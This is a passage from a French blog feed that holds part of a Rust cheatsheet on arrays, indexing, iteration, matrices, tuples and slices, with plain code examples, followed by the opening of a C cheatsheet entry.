<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Déclaration d'un tableau</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nombres</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// La notation [i32; 5] se lit : "tableau de 5 i32"</span><br></div></code></pre></div></div>
<p>On peut aussi laisser Rust inférer le type :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nombres </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Ou initialiser toutes les cases avec la même valeur :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Tableau initialisé à la même valeur</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> zeros </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="accéder-aux-éléments">Accéder aux éléments<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#acc%C3%A9der-aux-%C3%A9l%C3%A9ments" class="hash-link" aria-label="Lien direct vers Accéder aux éléments" title="Lien direct vers Accéder aux éléments" translate="no">​</a></h3>
<p>L'indexation commence à 0, comme en C.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Accès à un élément</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nombres </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> premier </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> nombres</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// 10</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> premier</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Sécurité à l'exécution</div><div class="admonitionContent_BuS1"><p>Contrairement au C, Rust <strong>vérifie à l'exécution</strong> que l'index est valide. Si vous accédez à un index hors limites, le programme s'arrête proprement (panic) au lieu de lire de la mémoire arbitraire.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="modifier-un-tableau">Modifier un tableau<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#modifier-un-tableau" class="hash-link" aria-label="Lien direct vers Modifier un tableau" title="Lien direct vers Modifier un tableau" translate="no">​</a></h3>
<p>Le tableau doit être déclaré <code>mut</code>.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Modification d'un élément</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> nombres </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">nombres</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">35</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// nombres vaut maintenant [10, 20, 35, 40, 50]</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="parcourir-un-tableau">Parcourir un tableau<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#parcourir-un-tableau" class="hash-link" aria-label="Lien direct vers Parcourir un tableau" title="Lien direct vers Parcourir un tableau" translate="no">​</a></h3>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Parcours classique</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nombres </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> n </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> nombres </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> n</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Avec l'index</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">i</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> n</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> nombres</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">iter</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">enumerate</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} -&gt; {}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> n</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="tableaux-multidimensionnels">Tableaux multidimensionnels<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#tableaux-multidimensionnels" class="hash-link" aria-label="Lien direct vers Tableaux multidimensionnels" title="Lien direct vers Tableaux multidimensionnels" translate="no">​</a></h3>
<p>Rust supporte les tableaux à plusieurs dimensions, qui sont en réalité des tableaux de tableaux.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Déclarer une matrice</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> matrice</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">[</span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">6</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">7</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">8</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">9</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">11</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">12</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Accéder à une valeur</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> valeur </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> matrice</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// 7</span><br></div></code></pre></div></div>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Parcourir une matrice</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> ligne </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> matrice </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> valeur </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> ligne </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> valeur</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-tuples">Les tuples<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-tuples" class="hash-link" aria-label="Lien direct vers Les tuples" title="Lien direct vers Les tuples" translate="no">​</a></h3>
<p>Bonus : Rust possède aussi les <strong>tuples</strong>, qui permettent de regrouper plusieurs valeurs de types différents.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Tuple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> info</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">&amp;</span><span class="token keyword" style="color:#00009f">str</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">f64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Bastien"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1.78</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Accès par index</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> info</span><span class="token number" style="color:#36acaa">.0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> info</span><span class="token number" style="color:#36acaa">.1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Décomposition (destructuring)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">nom</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> age</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> taille</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> info</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{} a {} ans et mesure {} m"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> nom</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> age</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> taille</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-slices">Les slices<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-slices" class="hash-link" aria-label="Lien direct vers Les slices" title="Lien direct vers Les slices" translate="no">​</a></h3>
<p>Une <strong>slice</strong> est une vue (une référence) sur une partie d'un tableau, sans copie de données. Très utile pour passer des "sous-tableaux" à des fonctions.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Création d'une slice</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> nombres </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> tranche </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">nombres</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">..</span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// [20, 30, 40]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{:?}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> tranche</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pour-aller-plus-loin">Pour aller plus loin<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#pour-aller-plus-loin" class="hash-link" aria-label="Lien direct vers Pour aller plus loin" title="Lien direct vers Pour aller plus loin" translate="no">​</a></h2>
<p>Cette cheatsheet couvre les fondamentaux de Rust, mais le langage propose énormément d'autres concepts que je détaillerai dans de prochains articles :</p>
<ul>
<li class="">Les <strong>structures</strong> (<code>struct</code>) et les <strong>énumérations</strong> (<code>enum</code>)</li>
<li class="">Les types <strong><code>Option&lt;T&gt;</code></strong> et <strong><code>Result&lt;T, E&gt;</code></strong> pour la gestion des erreurs</li>
<li class="">Les <strong>traits</strong> (équivalent puissant des interfaces)</li>
<li class="">Les <strong>génériques</strong></li>
<li class="">Les <strong>closures</strong> et la programmation fonctionnelle</li>
<li class="">La <strong>concurrence</strong> sûre avec les threads</li>
<li class="">Le système de <strong>modules</strong> et de <strong>crates</strong></li>
<li class="">Le gestionnaire de paquets <strong>Cargo</strong></li>
</ul>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Conseil personnel</div><div class="admonitionContent_BuS1"><p>Au début, le compilateur Rust peut paraître hostile : il refuse de compiler du code qui paraît parfaitement valide. Acceptez de vous laisser guider — ses messages d'erreur sont parmi les meilleurs de l'industrie et vous apprennent énormément. Une fois la logique d'ownership intégrée, écrire en Rust devient un vrai plaisir.</p></div></div>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="cheatsheet" term="cheatsheet"/>
        <category label="informatique" term="informatique"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Cheatsheet du langage C]]></title>
        <id>https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C</id>
        <link href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C"/>
        <updated>2025-07-07T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Article toujours en cours de rédaction]]></summary>
